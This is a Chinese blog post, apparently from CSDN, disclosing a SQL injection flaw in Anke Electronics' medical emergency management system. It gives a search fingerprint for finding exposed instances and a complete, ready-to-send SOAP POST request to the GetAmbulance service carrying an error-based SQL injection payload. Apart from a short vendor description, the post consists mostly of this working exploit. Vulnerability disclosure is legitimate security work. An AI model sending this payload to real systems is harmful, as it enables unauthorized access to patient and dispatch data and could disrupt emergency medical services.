安克电子技术有限公司医疗急救管理系统 Service存在SQL注入漏洞_安克医疗急救办公管理系统sql注入漏洞-CSDN博客

本文链接：https://blog.csdn.net/misu6/article/details/146352084

一、漏洞简介

珠海市安克电子技术有限公司成立于1992年，专业从事急救信息化系统集成与软件开发，是国内领先的院前急救信息系统供应商。在北京、合肥、西安设有研发中心，在全国设有分支机构和服务网点20个，具有ISO9000等质量体系、高新技术企业、软件企业、信息系统集成等多项认证资质，珠海市安克电子技术有限公司医疗急救管理系统存在SQL注入漏洞。

二、漏洞影响

安克医疗急救办公管理系统

三、网络测绘：

fid="v6Cd4x0Px/YZrVqV3jQ3xQ=="

在这里插入图片描述

四、复现过程

首页

在这里插入图片描述

步骤 POC 1

数据包

POST /api/Service.asmx HTTP/1.1
X-Requested-With: XMLHttpRequest
Cookie: ASP.NET_SessionId=exrktu3aplxg004tcc2ntnuw; FailCount=5; ASPSESSIONIDSSDTSCDA=OLGBFHMCDJBLGKGENPLEECCO
SOAPAction: http://tempuri.org/GetAmbulance
Content-Type: text/xml
Content-Length: 296
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,br
User-Agent: User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; 360SE)
Host: 
Connection: Keep-alive

<?xml version="1.0"?>
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/" xmlns:tns="http://tempuri.org/">
	<soap:Header />
	<soap:Body>
		<tns:GetAmbulance>
			<tns:CNumber>11' AND 6537 IN (SELECT (CHAR(113)+CHAR(106)+CHAR(98)+CHAR(118)+CHAR(113)+(SELECT (CASE WHEN (6537=6537) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(113)+CHAR(118)+CHAR(118)+CHAR(113)))-- ntgj</tns:CNumber>
		</tns:GetAmbulance>
	</soap:Body>
</soap:Envelope>